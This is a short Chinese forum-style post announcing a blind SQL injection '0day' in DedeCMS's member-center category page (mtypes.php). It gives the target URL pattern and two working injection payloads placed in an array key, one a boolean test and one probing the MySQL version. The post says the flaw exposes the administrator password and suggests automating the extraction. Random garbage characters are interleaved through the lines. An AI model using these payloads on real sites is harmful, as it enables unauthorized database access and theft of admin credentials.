DedeCMS会员中心分类管理SQL注射0day漏洞可获得管理员密码

admin

需要magic_quotes_gpc = Off,所以说是鸡肋啊.

# ~! g# X3 }9 H1 u' N
发生在数组key里的注射漏洞,有点意思.
9 c) {' O6 Q  F: L* y# x/ F
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
5 q5 o( T# T9 E1 R# U7 f6 Y
http://www.xxx.com /dede/member/mtypes.php?dopost=save
; j3 ?% j7 F& K# f
0 N" A$ [  l/ J3 |& M: S' Cexploit:
' {6 u) ^$ D" r% p3 K6 }. N% hmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
9 {! C# q' s7 _, Rmtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r